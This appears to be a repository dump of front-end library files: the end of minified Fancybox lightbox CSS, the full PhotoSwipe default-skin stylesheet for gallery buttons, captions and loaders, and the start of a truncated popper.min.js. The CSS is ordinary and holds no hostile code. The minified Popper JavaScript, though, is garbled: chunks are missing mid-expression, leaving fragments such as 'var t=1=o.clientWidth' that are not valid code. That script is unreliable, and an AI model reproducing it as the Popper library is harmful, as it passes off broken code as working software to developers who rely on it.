.25s,visibility 0s;visibility:visible}.fancybox-infobar{color:#ccc;font-size:13px;-webkit-font-smoothing:subpixel-antialiased;height:44px;left:0;line-height:44px;min-width:44px;mix-blend-mode:difference;padding:0 10px;pointer-events:none;text-align:center;top:0;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.fancybox-toolbar{right:0;top:0}.fancybox-stage{direction:ltr;overflow:visible;-webkit-transform:translateZ(0);z-index:99994}.fancybox-is-open .fancybox-stage{overflow:hidden}.fancybox-slide{-webkit-backface-visibility:hidden;backface-visibility:hidden;display:none;height:100%;left:0;outline:none;overflow:auto;-webkit-overflow-scrolling:touch;padding:44px;position:absolute;text-align:center;top:0;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;white-space:normal;width:100%;z-index:99994}.fancybox-slide:before{content:"";display:inline-block;height:100%;margin-right:-.25em;vertical-align:middle;width:0}.fancybox-is-sliding .fancybox-slide,.fancybox-slide--current,.fancybox-slide--next,.fancybox-slide--previous{display:block}.fancybox-slide--next{z-index:99995}.fancybox-slide--image{overflow:visible;padding:44px 0}.fancybox-slide--image:before{display:none}.fancybox-slide--html{padding:6px 6px 0}.fancybox-slide--iframe{padding:44px 44px 0}.fancybox-content{background:#fff;display:inline-block;margin:0 0 6px;max-width:100%;overflow:auto;padding:0;padding:24px;position:relative;text-align:left;vertical-align:middle}.fancybox-slide--image .fancybox-content{-webkit-animation-timing-function:cubic-bezier(.5,0,.14,1);animation-timing-function:cubic-bezier(.5,0,.14,1);-webkit-backface-visibility:hidden;backface-visibility:hidden;background:transparent;background-repeat:no-repeat;background-size:100% 100%;left:0;margin:0;max-width:none;overflow:visible;padding:0;position:absolute;top:0;-webkit-transform-origin:top left;transform-origin:top left;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;z-index:99995}.fancybox-can-zoomOut .fancybox-content{cursor:zoom-out}.fancybox-can-zoomIn .fancybox-content{cursor:zoom-in}.fancybox-can-drag .fancybox-content{cursor:-webkit-grab;cursor:grab}.fancybox-is-dragging .fancybox-content{cursor:-webkit-grabbing;cursor:grabbing}.fancybox-container [data-selectable=true]{cursor:text}.fancybox-image,.fancybox-spaceball{background:transparent;border:0;height:100%;left:0;margin:0;max-height:none;max-width:none;padding:0;position:absolute;top:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.fancybox-spaceball{z-index:1}.fancybox-slide--html .fancybox-content{margin-bottom:6px}.fancybox-slide--iframe .fancybox-content,.fancybox-slide--map .fancybox-content,.fancybox-slide--video .fancybox-content{height:100%;margin:0;overflow:visible;padding:0;width:100%}.fancybox-slide--video .fancybox-content{background:#000}.fancybox-slide--map .fancybox-content{background:#e5e3df}.fancybox-slide--iframe .fancybox-content{background:#fff;height:calc(100% - 44px);margin-bottom:44px}.fancybox-iframe,.fancybox-video{background:transparent;border:0;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.fancybox-iframe{vertical-align:top}.fancybox-error{background:#fff;cursor:default;max-width:400px;padding:40px;width:100%}.fancybox-error p{color:#444;font-size:16px;line-height:20px;margin:0;padding:0}.fancybox-button{background:rgba(30,30,30,.6);border:0;border-radius:0;cursor:pointer;display:inline-block;height:44px;margin:0;outline:none;padding:10px;transition:color .2s;vertical-align:top;width:44px}.fancybox-button,.fancybox-button:link,.fancybox-button:visited{color:#ccc}.fancybox-button:focus,.fancybox-button:hover{color:#fff}.fancybox-button.disabled,.fancybox-button.disabled:hover,.fancybox-button[disabled],.fancybox-button[disabled]:hover{color:#888;cursor:default}.fancybox-button svg{display:block;overflow:visible;position:relative;shape-rendering:geometricPrecision}.fancybox-button svg path{fill:transparent;stroke:currentColor;stroke-linejoin:round;stroke-width:3}.fancybox-button--pause svg path:nth-child(1),.fancybox-button--play svg path:nth-child(2){display:none}.fancybox-button--play svg path,.fancybox-button--share svg path,.fancybox-button--thumbs svg path{fill:currentColor}.fancybox-button--share svg path{stroke-width:1}.fancybox-navigation .fancybox-button{height:38px;opacity:0;padding:6px;position:absolute;top:50%;width:38px}.fancybox-show-nav .fancybox-navigation .fancybox-button{transition:opacity .25s,visibility 0s,color .25s}.fancybox-navigation .fancybox-button:after{content:"";left:-25px;padding:50px;position:absolute;top:-25px}.fancybox-navigation .fancybox-button--arrow_left{left:6px}.fancybox-navigation .fancybox-button--arrow_right{right:6px}.fancybox-close-small{background:transparent;border:0;border-radius:0;color:#555;cursor:pointer;height:44px;margin:0;padding:6px;position:absolute;right:0;top:0;width:44px;z-index:10}.fancybox-close-small svg{fill:transparent;opacity:.8;stroke:currentColor;stroke-width:1.5;transition:stroke .1s}.fancybox-close-small:focus{outline:none}.fancybox-close-small:hover svg{opacity:1}.fancybox-slide--iframe .fancybox-close-small,.fancybox-slide--image .fancybox-close-small,.fancybox-slide--video .fancybox-close-small{color:#ccc;padding:5px;right:-12px;top:-44px}.fancybox-slide--iframe .fancybox-close-small:hover svg,.fancybox-slide--image .fancybox-close-small:hover svg,.fancybox-slide--video .fancybox-close-small:hover svg{background:transparent;color:#fff}.fancybox-is-scaling .fancybox-close-small,.fancybox-is-zoomable.fancybox-can-drag .fancybox-close-small{display:none}.fancybox-caption{bottom:0;color:#fff;font-size:14px;font-weight:400;left:0;line-height:1.5;padding:25px 44px;right:0}.fancybox-caption:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAEtCAQAAABjBcL7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHRJREFUKM+Vk8EOgDAIQ0vj/3+xBw8qIZZueFnIKC90MCAI8DlrkHGeqqGIU6lVigrBtpCWqeRWoHDNqs0F7VNVBVxmHRlvoVqjaYkdnDIaivH2HqZ5+oZj3JUzWB+cOz4G48Bg+tsJ/tqu4dLC/4Xb+0GcF5BwBC0AA53qAAAAAElFTkSuQmCC);background-repeat:repeat-x;background-size:contain;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:-25px;z-index:-1}.fancybox-caption:after{border-bottom:1px solid hsla(0,0%,100%,.3);content:"";display:block;left:44px;position:absolute;right:44px;top:0}.fancybox-caption a,.fancybox-caption a:link,.fancybox-caption a:visited{color:#ccc;text-decoration:none}.fancybox-caption a:hover{color:#fff;text-decoration:underline}.fancybox-loading{-webkit-animation:a .8s infinite linear;animation:a .8s infinite linear;background:transparent;border:6px solid hsla(0,0%,39%,.5);border-radius:100%;border-top-color:#fff;height:60px;left:50%;margin:-30px 0 0 -30px;opacity:.6;padding:0;position:absolute;top:50%;width:60px;z-index:99999}@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fancybox-animated{transition-timing-function:cubic-bezier(0,0,.25,1)}.fancybox-fx-slide.fancybox-slide--previous{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.fancybox-fx-slide.fancybox-slide--next{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.fancybox-fx-slide.fancybox-slide--current{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}.fancybox-fx-fade.fancybox-slide--next,.fancybox-fx-fade.fancybox-slide--previous{opacity:0;transition-timing-function:cubic-bezier(.19,1,.22,1)}.fancybox-fx-fade.fancybox-slide--current{opacity:1}.fancybox-fx-zoom-in-out.fancybox-slide--previous{opacity:0;-webkit-transform:scale3d(1.5,1.5,1.5);transform:scale3d(1.5,1.5,1.5)}.fancybox-fx-zoom-in-out.fancybox-slide--next{opacity:0;-webkit-transform:scale3d(.5,.5,.5);transform:scale3d(.5,.5,.5)}.fancybox-fx-zoom-in-out.fancybox-slide--current{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}.fancybox-fx-rotate.fancybox-slide--previous{opacity:0;-webkit-transform:rotate(-1turn);transform:rotate(-1turn)}.fancybox-fx-rotate.fancybox-slide--next{opacity:0;-webkit-transform:rotate(1turn);transform:rotate(1turn)}.fancybox-fx-rotate.fancybox-slide--current{opacity:1;-webkit-transform:rotate(0deg);transform:rotate(0deg)}.fancybox-fx-circular.fancybox-slide--previous{opacity:0;-webkit-transform:scale3d(0,0,0) translate3d(-100%,0,0);transform:scale3d(0,0,0) translate3d(-100%,0,0)}.fancybox-fx-circular.fancybox-slide--next{opacity:0;-webkit-transform:scale3d(0,0,0) translate3d(100%,0,0);transform:scale3d(0,0,0) translate3d(100%,0,0)}.fancybox-fx-circular.fancybox-slide--current{opacity:1;-webkit-transform:scaleX(1) translateZ(0);transform:scaleX(1) translateZ(0)}.fancybox-fx-tube.fancybox-slide--previous{-webkit-transform:translate3d(-100%,0,0) scale(.1) skew(-10deg);transform:translate3d(-100%,0,0) scale(.1) skew(-10deg)}.fancybox-fx-tube.fancybox-slide--next{-webkit-transform:translate3d(100%,0,0) scale(.1) skew(10deg);transform:translate3d(100%,0,0) scale(.1) skew(10deg)}.fancybox-fx-tube.fancybox-slide--current{-webkit-transform:translateZ(0) scale(1);transform:translateZ(0) scale(1)}.fancybox-share{background:#f4f4f4;border-radius:3px;max-width:90%;padding:30px;text-align:center}.fancybox-share h1{color:#222;font-size:35px;font-weight:700;margin:0 0 20px}.fancybox-share p{margin:0;padding:0}.fancybox-share__button{border:0;border-radius:3px;display:inline-block;font-size:14px;font-weight:700;line-height:40px;margin:0 5px 10px;min-width:130px;padding:0 15px;text-decoration:none;transition:all .2s;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;white-space:nowrap}.fancybox-share__button:link,.fancybox-share__button:visited{color:#fff}.fancybox-share__button:hover{text-decoration:none}.fancybox-share__button--fb{background:#3b5998}.fancybox-share__button--fb:hover{background:#344e86}.fancybox-share__button--pt{background:#bd081d}.fancybox-share__button--pt:hover{background:#aa0719}.fancybox-share__button--tw{background:#1da1f2}.fancybox-share__button--tw:hover{background:#0d95e8}.fancybox-share__button svg{height:25px;margin-right:7px;position:relative;top:-1px;vertical-align:middle;width:25px}.fancybox-share__button svg path{fill:#fff}.fancybox-share__input{background:transparent;border:0;border-bottom:1px solid #d7d7d7;border-radius:0;color:#5d5b5b;font-size:14px;margin:10px 0 0;outline:none;padding:10px 15px;width:100%}.fancybox-thumbs{background:#fff;bottom:0;display:none;margin:0;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar;padding:2px 2px 4px;position:absolute;right:0;-webkit-tap-highlight-color:transparent;top:0;width:212px;z-index:99995}.fancybox-thumbs-x{overflow-x:auto;overflow-y:hidden}.fancybox-show-thumbs .fancybox-thumbs{display:block}.fancybox-show-thumbs .fancybox-inner{right:212px}.fancybox-thumbs>ul{font-size:0;height:100%;list-style:none;margin:0;overflow-x:hidden;overflow-y:auto;padding:0;position:absolute;position:relative;white-space:nowrap;width:100%}.fancybox-thumbs-x>ul{overflow:hidden}.fancybox-thumbs-y>ul::-webkit-scrollbar{width:7px}.fancybox-thumbs-y>ul::-webkit-scrollbar-track{background:#fff;border-radius:10px;box-shadow:inset 0 0 6px rgba(0,0,0,.3)}.fancybox-thumbs-y>ul::-webkit-scrollbar-thumb{background:#2a2a2a;border-radius:10px}.fancybox-thumbs>ul>li{-webkit-backface-visibility:hidden;backface-visibility:hidden;cursor:pointer;float:left;height:75px;margin:2px;max-height:calc(100% - 8px);max-width:calc(50% - 4px);outline:none;overflow:hidden;padding:0;position:relative;-webkit-tap-highlight-color:transparent;width:100px}.fancybox-thumbs-loading{background:rgba(0,0,0,.1)}.fancybox-thumbs>ul>li{background-position:50%;background-repeat:no-repeat;background-size:cover}.fancybox-thumbs>ul>li:before{border:4px solid #4ea7f9;bottom:0;content:"";left:0;opacity:0;position:absolute;right:0;top:0;transition:all .2s cubic-bezier(.25,.46,.45,.94);z-index:99991}.fancybox-thumbs .fancybox-thumbs-active:before{opacity:1}@media (max-width:800px){.fancybox-thumbs{width:110px}.fancybox-show-thumbs .fancybox-inner{right:110px}.fancybox-thumbs>ul>li{max-width:calc(100% - 10px)}}
--------------------------------------------------------------------------------
/css/default-skin.css:
--------------------------------------------------------------------------------
1 | /*! PhotoSwipe Default UI CSS by Dmitry Semenov | photoswipe.com | MIT license */
2 | /*
3 | Contents:
4 | 1. Buttons
5 | 2. Share modal and links
6 | 3. Index indicator ("1 of X" counter)
7 | 4. Caption
8 | 5. Loading indicator
9 | 6. Additional styles (root element, top bar, idle state, hidden state, etc.)
10 | */
11 | /* 1. Buttons */
12 |
13 | /* css reset */
14 |
15 | .pswp__button {
16 | width: 44px;
17 | height: 44px;
18 | position: relative;
19 | background: none;
20 | cursor: pointer;
21 | overflow: visible;
22 | -webkit-appearance: none;
23 | display: block;
24 | border: 0;
25 | padding: 0;
26 | margin: 0;
27 | float: right;
28 | opacity: 0.75;
29 | -webkit-transition: opacity 0.2s;
30 | transition: opacity 0.2s;
31 | -webkit-box-shadow: none;
32 | box-shadow: none;
33 | }
34 |
35 | .pswp__button:focus,
36 | .pswp__button:hover {
37 | opacity: 1;
38 | }
39 |
40 | .pswp__button:active {
41 | outline: none;
42 | opacity: 0.9;
43 | }
44 |
45 | .pswp__button::-moz-focus-inner {
46 | padding: 0;
47 | border: 0;
48 | }
49 |
50 |
51 | /* pswp__ui--over-close class it added when mouse is over element that should close gallery */
52 |
53 | .pswp__ui--over-close .pswp__button--close {
54 | opacity: 1;
55 | }
56 |
57 | .pswp__button,
58 | .pswp__button--arrow--left:before,
59 | .pswp__button--arrow--right:before {
60 | background: url(default-skin.png) 0 0 no-repeat;
61 | background-size: 264px 88px;
62 | width: 44px;
63 | height: 44px;
64 | }
65 |
66 | @media (-webkit-min-device-pixel-ratio: 1.1),
67 | (-webkit-min-device-pixel-ratio: 1.09375),
68 | (min-resolution: 105dpi),
69 | (min-resolution: 1.1dppx) {
70 | /* Serve SVG sprite if browser supports SVG and resolution is more than 105dpi */
71 | .pswp--svg .pswp__button,
72 | .pswp--svg .pswp__button--arrow--left:before,
73 | .pswp--svg .pswp__button--arrow--right:before {
74 | background-image: url(default-skin.svg);
75 | }
76 | .pswp--svg .pswp__button--arrow--left,
77 | .pswp--svg .pswp__button--arrow--right {
78 | background: none;
79 | }
80 | }
81 |
82 | .pswp__button--close {
83 | background-position: 0 -44px;
84 | }
85 |
86 | .pswp__button--share {
87 | background-position: -44px -44px;
88 | }
89 |
90 | .pswp__button--fs {
91 | display: none;
92 | }
93 |
94 | .pswp--supports-fs .pswp__button--fs {
95 | display: block;
96 | }
97 |
98 | .pswp--fs .pswp__button--fs {
99 | background-position: -44px 0;
100 | }
101 |
102 | .pswp__button--zoom {
103 | display: none;
104 | background-position: -88px 0;
105 | }
106 |
107 | .pswp--zoom-allowed .pswp__button--zoom {
108 | display: block;
109 | }
110 |
111 | .pswp--zoomed-in .pswp__button--zoom {
112 | background-position: -132px 0;
113 | }
114 |
115 |
116 | /* no arrows on touch screens */
117 |
118 | .pswp--touch .pswp__button--arrow--left,
119 | .pswp--touch .pswp__button--arrow--right {
120 | visibility: hidden;
121 | }
122 |
123 |
124 | /*
125 | Arrow buttons hit area
126 | (icon is added to :before pseudo-element)
127 | */
128 |
129 | .pswp__button--arrow--left,
130 | .pswp__button--arrow--right {
131 | background: none;
132 | top: 50%;
133 | margin-top: -50px;
134 | width: 70px;
135 | height: 100px;
136 | position: absolute;
137 | }
138 |
139 | .pswp__button--arrow--left {
140 | left: 0;
141 | }
142 |
143 | .pswp__button--arrow--right {
144 | right: 0;
145 | }
146 |
147 | .pswp__button--arrow--left:before,
148 | .pswp__button--arrow--right:before {
149 | content: '';
150 | top: 35px;
151 | background-color: rgba(0, 0, 0, 0.3);
152 | height: 30px;
153 | width: 32px;
154 | position: absolute;
155 | }
156 |
157 | .pswp__button--arrow--left:before {
158 | left: 6px;
159 | background-position: -138px -44px;
160 | }
161 |
162 | .pswp__button--arrow--right:before {
163 | right: 6px;
164 | background-position: -94px -44px;
165 | }
166 |
167 |
168 | /*
169 |
170 | 2. Share modal/popup and links
171 |
172 | */
173 |
174 | .pswp__counter,
175 | .pswp__share-modal {
176 | -webkit-user-select: none;
177 | -moz-user-select: none;
178 | -ms-user-select: none;
179 | user-select: none;
180 | }
181 |
182 | .pswp__share-modal {
183 | display: block;
184 | background: rgba(0, 0, 0, 0.5);
185 | width: 100%;
186 | height: 100%;
187 | top: 0;
188 | left: 0;
189 | padding: 10px;
190 | position: absolute;
191 | z-index: 1600;
192 | opacity: 0;
193 | -webkit-transition: opacity 0.25s ease-out;
194 | transition: opacity 0.25s ease-out;
195 | -webkit-backface-visibility: hidden;
196 | will-change: opacity;
197 | }
198 |
199 | .pswp__share-modal--hidden {
200 | display: none;
201 | }
202 |
203 | .pswp__share-tooltip {
204 | z-index: 1620;
205 | position: absolute;
206 | background: #FFF;
207 | top: 56px;
208 | border-radius: 2px;
209 | display: block;
210 | width: auto;
211 | right: 44px;
212 | -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
213 | box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
214 | -webkit-transform: translateY(6px);
215 | -ms-transform: translateY(6px);
216 | transform: translateY(6px);
217 | -webkit-transition: -webkit-transform 0.25s;
218 | transition: transform 0.25s;
219 | -webkit-backface-visibility: hidden;
220 | will-change: transform;
221 | }
222 |
223 | .pswp__share-tooltip a {
224 | display: block;
225 | padding: 8px 12px;
226 | color: #000;
227 | text-decoration: none;
228 | font-size: 14px;
229 | line-height: 18px;
230 | }
231 |
232 | .pswp__share-tooltip a:hover {
233 | text-decoration: none;
234 | color: #000;
235 | }
236 |
237 | .pswp__share-tooltip a:first-child {
238 | /* round corners on the first/last list item */
239 | border-radius: 2px 2px 0 0;
240 | }
241 |
242 | .pswp__share-tooltip a:last-child {
243 | border-radius: 0 0 2px 2px;
244 | }
245 |
246 | .pswp__share-modal--fade-in {
247 | opacity: 1;
248 | }
249 |
250 | .pswp__share-modal--fade-in .pswp__share-tooltip {
251 | -webkit-transform: translateY(0);
252 | -ms-transform: translateY(0);
253 | transform: translateY(0);
254 | }
255 |
256 |
257 | /* increase size of share links on touch devices */
258 |
259 | .pswp--touch .pswp__share-tooltip a {
260 | padding: 16px 12px;
261 | }
262 |
263 | a.pswp__share--facebook:before {
264 | content: '';
265 | display: block;
266 | width: 0;
267 | height: 0;
268 | position: absolute;
269 | top: -12px;
270 | right: 15px;
271 | border: 6px solid transparent;
272 | border-bottom-color: #FFF;
273 | -webkit-pointer-events: none;
274 | -moz-pointer-events: none;
275 | pointer-events: none;
276 | }
277 |
278 | a.pswp__share--facebook:hover {
279 | background: #3E5C9A;
280 | color: #FFF;
281 | }
282 |
283 | a.pswp__share--facebook:hover:before {
284 | border-bottom-color: #3E5C9A;
285 | }
286 |
287 | a.pswp__share--twitter:hover {
288 | background: #55ACEE;
289 | color: #FFF;
290 | }
291 |
292 | a.pswp__share--pinterest:hover {
293 | background: #CCC;
294 | color: #CE272D;
295 | }
296 |
297 | a.pswp__share--download:hover {
298 | background: #DDD;
299 | }
300 |
301 |
302 | /*
303 |
304 | 3. Index indicator ("1 of X" counter)
305 |
306 | */
307 |
308 | .pswp__counter {
309 | position: absolute;
310 | left: 0;
311 | top: 0;
312 | height: 44px;
313 | font-size: 13px;
314 | line-height: 44px;
315 | color: #FFF;
316 | opacity: 0.75;
317 | padding: 0 10px;
318 | }
319 |
320 |
321 | /*
322 |
323 | 4. Caption
324 |
325 | */
326 |
327 | .pswp__caption {
328 | position: absolute;
329 | left: 0;
330 | bottom: 0;
331 | width: 100%;
332 | min-height: 44px;
333 | }
334 |
335 | .pswp__caption small {
336 | font-size: 11px;
337 | color: #BBB;
338 | }
339 |
340 | .pswp__caption__center {
341 | text-align: left;
342 | max-width: 420px;
343 | margin: 0 auto;
344 | font-size: 13px;
345 | padding: 10px;
346 | line-height: 20px;
347 | color: #CCC;
348 | }
349 |
350 | .pswp__caption--empty {
351 | display: none;
352 | }
353 |
354 |
355 | /* Fake caption element, used to calculate height of next/prev image */
356 |
357 | .pswp__caption--fake {
358 | visibility: hidden;
359 | }
360 |
361 |
362 | /*
363 |
364 | 5. Loading indicator (preloader)
365 |
366 | You can play with it here - http://codepen.io/dimsemenov/pen/yyBWoR
367 |
368 | */
369 |
370 | .pswp__preloader {
371 | width: 44px;
372 | height: 44px;
373 | position: absolute;
374 | top: 0;
375 | left: 50%;
376 | margin-left: -22px;
377 | opacity: 0;
378 | -webkit-transition: opacity 0.25s ease-out;
379 | transition: opacity 0.25s ease-out;
380 | will-change: opacity;
381 | direction: ltr;
382 | }
383 |
384 | .pswp__preloader__icn {
385 | width: 20px;
386 | height: 20px;
387 | margin: 12px;
388 | }
389 |
390 | .pswp__preloader--active {
391 | opacity: 1;
392 | }
393 |
394 | .pswp__preloader--active .pswp__preloader__icn {
395 | /* We use .gif in browsers that don't support CSS animation */
396 | background: url(preloader.gif) 0 0 no-repeat;
397 | }
398 |
399 | .pswp--css_animation .pswp__preloader--active {
400 | opacity: 1;
401 | }
402 |
403 | .pswp--css_animation .pswp__preloader--active .pswp__preloader__icn {
404 | -webkit-animation: clockwise 500ms linear infinite;
405 | animation: clockwise 500ms linear infinite;
406 | }
407 |
408 | .pswp--css_animation .pswp__preloader--active .pswp__preloader__donut {
409 | -webkit-animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
410 | animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
411 | }
412 |
413 | .pswp--css_animation .pswp__preloader__icn {
414 | background: none;
415 | opacity: 0.75;
416 | width: 14px;
417 | height: 14px;
418 | position: absolute;
419 | left: 15px;
420 | top: 15px;
421 | margin: 0;
422 | }
423 |
424 | .pswp--css_animation .pswp__preloader__cut {
425 | /*
426 | The idea of animating inner circle is based on Polymer ("material") loading indicator
427 | by Keanu Lee https://blog.keanulee.com/2014/10/20/the-tale-of-three-spinners.html
428 | */
429 | position: relative;
430 | width: 7px;
431 | height: 14px;
432 | overflow: hidden;
433 | }
434 |
435 | .pswp--css_animation .pswp__preloader__donut {
436 | -webkit-box-sizing: border-box;
437 | box-sizing: border-box;
438 | width: 14px;
439 | height: 14px;
440 | border: 2px solid #FFF;
441 | border-radius: 50%;
442 | border-left-color: transparent;
443 | border-bottom-color: transparent;
444 | position: absolute;
445 | top: 0;
446 | left: 0;
447 | background: none;
448 | margin: 0;
449 | }
450 |
451 | @media screen and (max-width: 1024px) {
452 | .pswp__preloader {
453 | position: relative;
454 | left: auto;
455 | top: auto;
456 | margin: 0;
457 | float: right;
458 | }
459 | }
460 |
461 | @-webkit-keyframes clockwise {
462 | 0% {
463 | -webkit-transform: rotate(0deg);
464 | transform: rotate(0deg);
465 | }
466 | 100% {
467 | -webkit-transform: rotate(360deg);
468 | transform: rotate(360deg);
469 | }
470 | }
471 |
472 | @keyframes clockwise {
473 | 0% {
474 | -webkit-transform: rotate(0deg);
475 | transform: rotate(0deg);
476 | }
477 | 100% {
478 | -webkit-transform: rotate(360deg);
479 | transform: rotate(360deg);
480 | }
481 | }
482 |
483 | @-webkit-keyframes donut-rotate {
484 | 0% {
485 | -webkit-transform: rotate(0);
486 | transform: rotate(0);
487 | }
488 | 50% {
489 | -webkit-transform: rotate(-140deg);
490 | transform: rotate(-140deg);
491 | }
492 | 100% {
493 | -webkit-transform: rotate(0);
494 | transform: rotate(0);
495 | }
496 | }
497 |
498 | @keyframes donut-rotate {
499 | 0% {
500 | -webkit-transform: rotate(0);
501 | transform: rotate(0);
502 | }
503 | 50% {
504 | -webkit-transform: rotate(-140deg);
505 | transform: rotate(-140deg);
506 | }
507 | 100% {
508 | -webkit-transform: rotate(0);
509 | transform: rotate(0);
510 | }
511 | }
512 |
513 |
514 | /*
515 |
516 | 6. Additional styles
517 |
518 | */
519 |
520 |
521 | /* root element of UI */
522 |
523 | .pswp__ui {
524 | -webkit-font-smoothing: auto;
525 | visibility: visible;
526 | opacity: 1;
527 | z-index: 1550;
528 | }
529 |
530 |
531 | /* top black bar with buttons and "1 of X" indicator */
532 |
533 | .pswp__top-bar {
534 | position: absolute;
535 | left: 0;
536 | top: 0;
537 | height: 44px;
538 | width: 100%;
539 | }
540 |
541 | .pswp__caption,
542 | .pswp__top-bar,
543 | .pswp--has_mouse .pswp__button--arrow--left,
544 | .pswp--has_mouse .pswp__button--arrow--right {
545 | -webkit-backface-visibility: hidden;
546 | will-change: opacity;
547 | -webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
548 | transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
549 | }
550 |
551 |
552 | /* pswp--has_mouse class is added only when two subsequent mousemove events occur */
553 |
554 | .pswp--has_mouse .pswp__button--arrow--left,
555 | .pswp--has_mouse .pswp__button--arrow--right {
556 | visibility: visible;
557 | }
558 |
559 | .pswp__top-bar,
560 | .pswp__caption {
561 | background-color: rgba(0, 0, 0, 0.5);
562 | }
563 |
564 |
565 | /* pswp__ui--fit class is added when main image "fits" between top bar and bottom bar (caption) */
566 |
567 | .pswp__ui--fit .pswp__top-bar,
568 | .pswp__ui--fit .pswp__caption {
569 | background-color: rgba(0, 0, 0, 0.3);
570 | }
571 |
572 |
573 | /* pswp__ui--idle class is added when mouse isn't moving for several seconds (JS option timeToIdle) */
574 |
575 | .pswp__ui--idle .pswp__top-bar {
576 | opacity: 0;
577 | }
578 |
579 | .pswp__ui--idle .pswp__button--arrow--left,
580 | .pswp__ui--idle .pswp__button--arrow--right {
581 | opacity: 0;
582 | }
583 |
584 |
585 | /*
586 | pswp__ui--hidden class is added when controls are hidden
587 | e.g. when user taps to toggle visibility of controls
588 | */
589 |
590 | .pswp__ui--hidden .pswp__top-bar,
591 | .pswp__ui--hidden .pswp__caption,
592 | .pswp__ui--hidden .pswp__button--arrow--left,
593 | .pswp__ui--hidden .pswp__button--arrow--right {
594 | /* Force paint & create composition layer for controls. */
595 | opacity: 0.001;
596 | }
597 |
598 |
599 | /* pswp__ui--one-slide class is added when there is just one item in gallery */
600 |
601 | .pswp__ui--one-slide .pswp__button--arrow--left,
602 | .pswp__ui--one-slide .pswp__button--arrow--right,
603 | .pswp__ui--one-slide .pswp__counter {
604 | display: none;
605 | }
606 |
607 | .pswp__element--disabled {
608 | display: none !important;
609 | }
610 |
611 | .pswp--minimal--dark .pswp__top-bar {
612 | background: none;
613 | }
614 |
615 |
--------------------------------------------------------------------------------
/js/popper.min.js:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright (C) Federico Zivolo 2017
3 | Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
4 | */
5 | (function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}function p(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||r(e.firstElementChild)===e)}function s(e){return null===e.parentNode?e:s(e.parentNode)}function d(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,i=o?e:t,n=o?t:e,a=document.createRange();a.setStart(i,0),a.setEnd(n,0);var l=a.commonAncestorContainer;if(e!==l&&t!==l||i.contains(n))return p(l)?l:r(l);var f=s(e);return f.host?d(f.host,t):d(e,s(t).host)}function a(e){var t=1=o.clientWidth&&i>=o.clientHeight}),l=0i[e]&&!t.escapeWithReference&&(n=_(p[o],i[e]-('right'===e?p.width:p.height))),pe({},o,n)}};return n.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';p=se({},p,s[t](e))}),e.offsets.popper=p,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,i=t.reference,n=e.placement.split('-')[0],r=X,p=-1!==['top','bottom'].indexOf(n),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(i[s])&&(e.offsets.popper[d]=r(i[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var i;if(!F(e.instance.modifiers,'arrow','keepTogether'))return e;var n=o.element;if('string'==typeof n){if(n=e.instance.popper.querySelector(n),!n)return e;}else if(!e.instance.popper.contains(n))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',g=a?'bottom':'right',u=L(n)[l];d[g]-us[g]&&(e.offsets.popper[m]+=d[m]+u-s[g]),e.offsets.popper=c(e.offsets.popper);var 